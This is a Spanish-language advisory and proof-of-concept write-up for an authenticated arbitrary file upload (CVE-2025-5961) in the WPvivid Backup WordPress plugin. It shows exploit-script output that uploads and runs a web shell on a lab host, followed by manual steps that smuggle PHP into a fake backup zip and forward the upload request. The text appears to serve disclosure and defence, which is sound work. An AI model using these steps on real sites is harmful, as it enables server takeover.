
Migración, Copia de seguridad, Staging – WPvivid Backup & Migration <= 0.9.116 - Autenticado (Administrador+) Carga Arbitraria de Archivos
El plugin wpvivid-backuprestore no desinfecta los tipos de archivo de la acción wpvivid_upload_import_files, permitiendo que administradores o superiores suban archivos arbitrarios y potencialmente ejecuten código en el servidor. NOTA: Los archivos subidos solo son accesibles en instancias de WordPress que se ejecutan en el servidor web NGINX, ya que el .htaccess existente dentro de la carpeta de carga de archivos de destino impide el acceso en servidores Apache.
hack.php. python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}
Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 78309sec preferred_lft 78309sec
inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86105sec preferred_lft 14105sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
La acción wpvivid_upload_import_files llama a la función upload_files en la línea 2210 de /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php sin aplicar ninguna validación de tipo de archivo.
En la línea 2235, $file_name se establece de la siguiente manera:
$file_name=basename(sanitize_text_field($_POST['name']));
La variable $file_name se usa luego en la línea 2246 para escribir el archivo en el sistema de archivos.
$file_handle = fopen($path.$file_name, 'wb');
echo "<?php phpinfo(); ?>" >> wpvivid-0000000000000_1969-04-20-00-00_export_post.zip
WPvivid Backup.Export & Import del menú lateral y luego selecciona la pestaña Import.Upload and Import y selecciona el archivo wpvivid-0000000000000_1969-04-20-00-00_export_post.zip que creamos en el paso cero.

POST contendrá algo como lo siguiente, reenvía esta solicitud:POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b
poc.php:

https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php para ejecutar la prueba de concepto.
